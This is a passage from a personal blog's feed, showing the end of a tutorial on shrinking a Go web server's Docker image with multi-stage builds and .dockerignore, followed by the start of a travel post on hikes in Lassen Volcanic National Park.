</div><p>Wait for what? 350MB for just a hello world web server?</p>
<p>Our binary is small, and this indicates that something else is going on. <code>$ du -shc bin/server 7.0M bin/server 7.0M total</code></p>
<p>Let&rsquo;s check the size of the base image</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>$ docker image inspect golang:<span style="color:#2aa198">1.13.7</span><span style="color:#719e07">-</span>alpine3<span style="color:#2aa198">.11</span> <span style="color:#719e07">--</span>format=&#39;{{.Size}}&#39; | numfmt <span style="color:#719e07">--</span>to=iec<span style="color:#719e07">-</span>i
</span></span><span style="display:flex;"><span><span style="color:#2aa198">343</span>Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>So, the base image which we need for building the binary is enormous. But we don&rsquo;t need to go build the chain at the time of execution. There are two options. We can build it on our machine outside the docker container and copy the binary. But that&rsquo;s frowned. One has to be careful to build it with the right architecture. When you build and run it inside the same container architecture, you get that portability guarantee for free.</p>
<p>Another alternative approach is to do what&rsquo;s called a multi-stage build. We will build the binary in one docker stage and then copy only that binary over to the next step.</p>
<p>So, let&rsquo;s write <code>Dockerfile2</code></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># Pull the image and call it base</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> golang:1.13.7-alpine3.11 as stage1</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Copy the code</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> src /codebase/src
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> ls /codebase/src/main.go
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Build the binary</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> <span style="color:#b58900">cd</span> /codebase &amp;amp;&amp;amp; go build -v -o /codebase/bin/server ./src/main.go
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> alpine:3.11 as stage2</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># We will copy the final binary from the previous stage to this stage</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>stage1 /codebase/bin/server /server
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">PORT</span><span style="color:#719e07">=</span><span style="color:#2aa198">8080</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Specify the run command for the binary</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">CMD</span> [<span style="color:#2aa198">&#34;sh&#34;</span>, <span style="color:#2aa198">&#34;-c&#34;</span>, <span style="color:#2aa198">&#34;/server&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Build and verify that it works ``</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ <span style="color:#268bd2">DOCKER_BUILDKIT</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span> docker build -f Dockerfile2 -t my_hello_world_server2 .
</span></span><span style="display:flex;"><span>$ docker rm my_hello_world_server2; docker run --name my_hello_world_server2 -p 127.0.0.1:8080:8080 -it my_hello_world_server
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And check its size</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker image inspect my_hello_world_server2 --format<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;{{.Size}}&#39;</span> | numfmt --to<span style="color:#719e07">=</span>iec-i
</span></span><span style="display:flex;"><span>13Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Remember, 5.4MB was the base image, and 7MB is our new web server binary, so, this is the smallest we can get to anyways.</p>
<h2 id="a-build-time-optimization">A build-time optimization</h2>
<p>Right now, your build step is taking less than a second. Let&rsquo;s try to what happens when we end up having a lot of unrelated files.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Write a 1GB file</span>
</span></span><span style="display:flex;"><span>$ dd <span style="color:#719e07">if</span><span style="color:#719e07">=</span>/dev/zero <span style="color:#268bd2">of</span><span style="color:#719e07">=</span>src/testfile <span style="color:#268bd2">bs</span><span style="color:#719e07">=</span><span style="color:#2aa198">1024</span> <span style="color:#268bd2">count</span><span style="color:#719e07">=</span><span style="color:#2aa198">1024000</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Now build it again</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>It takes about ~47 seconds on my machine at the &ldquo;Transfer context&hellip;&rdquo; stage. What happens is that the docker build happens on a docker server, and everything from the directory (which we specified as &ldquo;.&rdquo; while building) is transferred to the Docker server to build. The server will discard extraneous files, so your final image size is still the same, but the build time becomes significant. To avoid this problem, add <code>src/testfile</code> to <code>.dockerignore</code> file.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ <span style="color:#b58900">echo</span> src/testfile &gt;&gt; .dockerignore
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, try building again, and your build times would be back to normal. It is best to exclude big dirs like <code>.git</code> or <code>bin</code> from the Docker build step to keep the builds fast.</p>
<h2 id="persistence">Persistence</h2>
<p>Docker images don&rsquo;t persist anything. The idea is to run stateless machines that are completely clean and which connect to stateful storage like object-storage or SQL to store data. So, Docker cleanly abstracts out storage and execution.</p>
<p>Look forward to 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">part 2</a> of this post which talks about deploying Docker images to Google Cloud Run.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/></entry><entry><title type="html">Hiking in Lassen Volcanic National Park, California</title><link href="https://ashishb.net/travel/lassen-volcanic-national-park/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Glacier National Park in 4 days"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/zion-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Two days at Zion National Park"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><id>https://ashishb.net/travel/lassen-volcanic-national-park/</id><author><name>Ashish Bhatia</name></author><published>2020-04-11T16:00:50+00:00</published><updated>2020-04-11T16:00:50+00:00</updated><content type="html"><![CDATA[<blockquote>Ulimate guide to exploring Lassen Volcanic National Park - the most family-friendly national park near San Francisco</blockquote><p>  
    
    
<a href="https://www.nps.gov/lavo/index.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lassen Volcanic Park</a> has a lot to offer for everyone. The park has wide roads, and most tourist spots are easily accessible. Here&rsquo;s what I would recommend</p>
<ol>
<li>
<p>  
    
    
<a href="https://www.fs.usda.gov/recarea/lassen/recarea/?recid=11435&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Subway cave Lava tubes</a> - easy 1/3 mile underground hike</p>
<figure>
       
       <a href="lava_tubes1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="lava_tubes1_resized-1024x768.jpg"
            alt="A narrow, dimly lit underground tunnel with rugged rock walls, part of a 1/3 mile easy hike. The location is associated with the Lassen Volcanic National Park." width="905"/> </a>
   </figure>

</li>
<li>
<p>  
    
    
<a href="https://www.nps.gov/lavo/planyourvisit/exploring-the-hydrothermal-areas.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hydrothermal Areas</a> - Hydrothermal areas from where Sulpher escapes regularly. Some right next to the road and some accessible via a short hike.</p>
<figure>
       
       <a href="sulpher_works_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="sulpher_works_resized-1024x768.jpg"
            alt="A snow-covered landscape adjacent to a road, indicating Sulphur areas nearby" width="905"/> </a>
   </figure>

</li>
<li>
<p>Walk and play on snow-covered areas - all along the park</p>
</li>
</ol>
<h2 id="strenuous-hikes">Strenuous hikes</h2>
<p>There are three strenuous hikes. I would only recommend one or two of these</p>
<ol>
<li>
<p>  
    
    
<a href="https://www.alltrails.com/trail/us/california/lassen-peak?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lassen Peak</a> - this one is snow-covered almost year-round</p>
<figure>
       
       <a href="lassen_peak_hike_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="lassen_peak_hike_resized-1024x768.jpg"
            alt="A scenic, snow-covered trail on Lassen Peak in California, viewed in landscape orientation. The trail is visually detailed with snow presence being highlighted." width="905"/> </a>
   </figure>

<figure>
       
       <a href="lassen_peak_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="lassen_peak_resized-1024x768.jpg"
            alt="A mountainous landscape of the Lassen Peak, with a clear blue sky and rugged terrain" width="905"/> </a>
   </figure>

</li>
<li>
<p>  
    
    
<a href="https://www.alltrails.com/trail/us/california/cinder-cone-nature-trail?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cinder Cone Nature Trail</a> - This one is less strenuous compared to the other two. It is still hard due to the gravel-covered surface<img alt="Cinder Cone seen from the bottom" loading="lazy" src="/travel/lassen-volcanic-national-park/cinder_cone1_resized-e1573006998995-768x1024.jpg">. Cinder Cone seen from the bottom</p>
<figure>
       
       <a href="cinder_cone2_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="cinder_cone2_resized-768x1024.jpg"
            alt="A trail leads towards a mountain, with sparse vegetation and rugged terrain in the foreground, under a clear sky." width="900"/> </a>
   </figure>

</li>
<li>
<p>  
    
    
<a href="https://www.alltrails.com/trail/us/california/brokeoff-mountain?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Brokeoff Mountain Trail</a> - this can be snow-covered hike depending on the time of the year</p>
<figure>
       
       <a href="IMG_20190705_150607_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="IMG_20190705_150607_resized-768x1024.jpg"
            alt="A scenic mountainous landscape with a snow-covered peak of the Brokeoff Mountain" width="900"/> </a>
   </figure>

</li>
</ol>
